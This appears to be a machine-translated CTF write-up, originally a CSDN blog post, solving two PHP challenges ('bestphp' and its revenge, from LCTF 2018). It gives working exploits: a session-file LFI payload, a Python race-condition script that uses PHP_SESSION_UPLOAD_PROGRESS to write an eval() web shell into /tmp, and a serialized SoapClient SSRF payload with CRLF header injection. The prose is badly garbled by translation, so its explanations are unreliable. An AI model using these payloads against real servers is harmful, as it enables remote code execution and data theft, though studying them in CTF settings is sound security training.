으로 session_start () bestphp 考查으로 session_start 및 비누 SSRF

0x01로의 bestphp1

이 질문에 첫 번째 소스 코드를 게시

<html>
		<head>
			<title>BabyPHP</title>
			<meta charset='UTF-8'>
		</head>
		<body>
			<form action='#' method='post'>
				Please input your name:<input type='text' name='name' />
				<input type='submit' value='submit' />
			</form>
		</body>
</html>
<?php
	session_start();
	highlight_file(__FILE__);
	ini_set('open_basedir', '/www/admin/localhost_80/wwwroot:/tmp');
	$file = 'function.php';
	$func = isset($_GET['function'])?$_GET['function']:'filters';
	call_user_func($func, $_GET);
	include($file);
	$_SESSION['name']=$_POST['name'];

	if($_SESSION['name']=='admin'){

		header('location:admin.php');

	}
?>

우리는 주제 아래의 첫 번째 열 분석 session_start
이있는 call_user_func기능을 수행 할 수의 상관 관계, 그리고 우리가 제어 할 수있는 두 개의 매개 변수를, 우리 첫번째 생각은 변수, 우리는 포함시킬 덮여 추출하기 위해 여기에 포함 된 파일이 있습니다 을 제기 할 ~ ~

우리는 아래로 functinon.php에 대해 읽고에 언급 admin.php

http://127.0.0.1/?function=extract&file=php://filter/read=convert.base64-encode/resource=admin.php

디코딩 admin.php

hello admin
<?php
if (empty($_SESSION['name'])) {
		session_start();
}else{
	die('you must login with admin');
}

그런 다음 읽기 function.php

<?php
function filters($data){
	foreach ($data as $key => $value) {	if(preg_match('/eval|assert|exec|passthru|glob|system|popen/i', $value)){
			die('Do not hack me!');
		}
	}
}

두 PHP 파일은 실제로 많은 영향을 미치지 않았다


문제 해결

제목으로이 세션 파일은 우리의 첫번째 생각은 세션 + LFI이며, 제목은 우리의 이름이 세션 매개 변수에 기록 할 수 있도록 포함

하지만 지금 문제는 우리가 있어도 session_start 관련 매개 변수를 참조, 우리가 주요 문제이다 저장된 세션 파일의 위치를 몰라
그림 삽입 설명 여기그림 삽입 설명 여기때문에 이전에 call_user_func, 우리가 세션을 저장할 위치를 다시 지정할 수 있도록 지정 주제 open_basedir루트에 우리가 직접 세션이 줄을 / tmp 디렉토리에 저장되어있는 디렉토리와 / tmp를 디렉토리 아래 ~

?function=session_start&save_path=/tmp

payload1 :

curl -v -X POST -d "name=<?=phpinfo();?>" http://vps_ip:port/?function=session_start&save_path=/tmp

여기서 설명하는 <?=phpinfo;?>,이 동일합니다<?php echo phpinfo();?>

그런 다음 우리는 줄에 직접 포함

?function=extract&file=/tmp/sess_jisv70lep6v1nfokagdll4scs7

그림 삽입 설명 여기다음 단계는 같은 빌려 깃발을 읽고, 내가 보여주지 않는다


payload2 :

여기에 있기 때문에이 name우리가 더 없다는 것을 여기에, 계정에 가정을 악의적 인 매개 변수를 쓸 수있는 매개 변수 name인수는?
우리는 사용할 수 PHP_SESSION_UPLOAD_PROGRESS+LFIgetshell에 바인딩 경쟁 조건을

게시 특급

#!coding:utf-8

import requests
import time
import threading
host = 'http://192.168.130.129'
PHPSESSID = 'vrhtvjd4j1sd88onr92fm9t2gt'                                                                                        #随便填入的PHPSESSID
def creatSession():
    while True:
        files={'file': ('tgao.txt','f')}                
        data = {"PHP_SESSION_UPLOAD_PROGRESS" : """<?php $c=fopen('/tmp/shell.php','w');fwrite($c,'<?php eval($_POST["f"]);?>');?>""" }                    #修改要写入的内容
        headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
        r = requests.post(host+'/lfi.php',files = files,headers = headers,data=data)         #这儿的host只需要一个能打开的url就行

fileName = "/tmp/sess_"+PHPSESSID       #前提是必须知道session的储存路径

if __name__ == '__main__':

    url = "{}?function=extract&file={}".format(host,fileName)                 #修改文件包含的地方
    headers = {'Cookie':'PHPSESSID=' + PHPSESSID}
    t = threading.Thread(target=creatSession,args=())
    t.setDaemon(True)
    t.start()
    while True:
        res = requests.get(url,headers=headers)
        if 'tgao.txt' in res.text:
            print("[*] Get shell success.")
            break
        else:
            print("[-] retry.")

그런 다음 우리는 ~ 라인에이 shell.php 포함

http://127.0.0.1/?function=extract&file=/tmp/shell.php

여기에 내 작은 사고에게, 나는 shell.php / tmp를 아래에 다시 업로드,하지만 난 디렉토리, 삶을 찾기 위해 내부 가서 죽음으로 인해 지역 환경에 문제를 발견하고, 나중에 발견 할 수없는 여기에 고정 표시기에서 사용 phpstudy 및 phpstudy입니다 내부,이 파일이 PHP를 특정 디렉토리 만 고정 표시기의 내부에 부합되지 아니하므로 ~ ~


0x02로 bestphp의 복수

먼저 주제를 게시 코드 ~ ~
의 index.php

<?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

flag.php

only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ $_SESSION['flag'] = $flag; } 
only localhost can get flag!

분명히 SSRF 주제 ~ ~ 우리가 어떻게 127.0.0.1 액세스 flag.php를 구성 할 다음 세션에 기록 플래그가? 우리는 직접 soapclient 생각, 우리는 그것을 역 직렬화, 어디 곳을 호출 그것을 soapclient? 우리는 주제를 보면
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}

여기에 우리가 세션에 기록 될 싶어하고, 질문의 머리와 세션을 열뿐만 아니라 call_user_func, 우리가 세션의 반 직렬화를 제어 할 수있는 것은 분명하다 무엇

/?f=session_start

serialize_handler=php

우리는 그 이름 매개 변수에 의해 soapclient의 코드 시퀀스를 업로드 할 수 있습니다. 그들은 ~ ~ soapclient 클래스를 얻을 수 있도록 자동으로, 우리의 세션을 직렬화
어떻게 우리가이 클래스를 호출합니까? 우리는 메서드 호출이 __call 액세스 할 트리거 될 때이 마법 __call 기능, 우리는 주제 보는 것을 알고있다

$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);

이 배열이고, 두 번째는 문자열 왜, 우리는`리셋을 알고 ($이 _ SESSION)은 '첫 번째 세션에 대한 값을 지정하는 것입니다,하지만 우리의 첫 번째 값이 문자 있도록하는 get soaplient 클래스를 직렬화 복원 후 존재하지 않는 soapclient 문자열 동등한 방법, 그럼 어떻게 우리는이 하나의 호출 할 수 있습니다? 여기 call_user_func, 그 대답은, 우리가 welcome_to_the_lctf2018'` ''$ b는 다음 soapclient 전화를하도록 할 수 있습니다, call_user_func입니다 \ 가변 제어를 통해 덮여 매우 분명하고 __call를 호출 한 후 /flag.php 방문, 플래그는 세션에서 작성된 soapclient

~~ 구성 코드는 soapclient을 게시

<?php 
$target = 'http://127.0.0.1/flag.php'; 
$headers = array('X-Forwarded-For:127.0.0.1', 'Cookie:user=majian; PHPSESSID=fuck0' );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^'.join('^^',$headers),'uri' => "aaab")); 
$aaa = serialize($b); 
$aaa = str_replace('^^',"\r\n",$aaa); 
$aaa = str_replace('&','&',$aaa); 
echo urlencode($aaa); 
?>

유효 탑재량

그림 삽입 설명 여기이 단계는 저장된 세션이 방식을 직렬화, 세션 ~ soaplient가의 순서로 기록 변경하는
그림 삽입 설명 여기이 단계가 변수로 덮여하고 존재하지 않는 방법 soapclient를 호출 차례의 함수는 __call 마법을 호출 SSRF 그래서, 세션에 기록 soapclient 플래그, 마지막 세션은 당신의 깃발을 볼 수있는 변경 ~ ~
그림 삽입 설명 여기

게시 47 개 원래 기사 · 원 찬양 2 · 조회수 3119

추천

출처blog.csdn.net/a3320315/article/details/104039961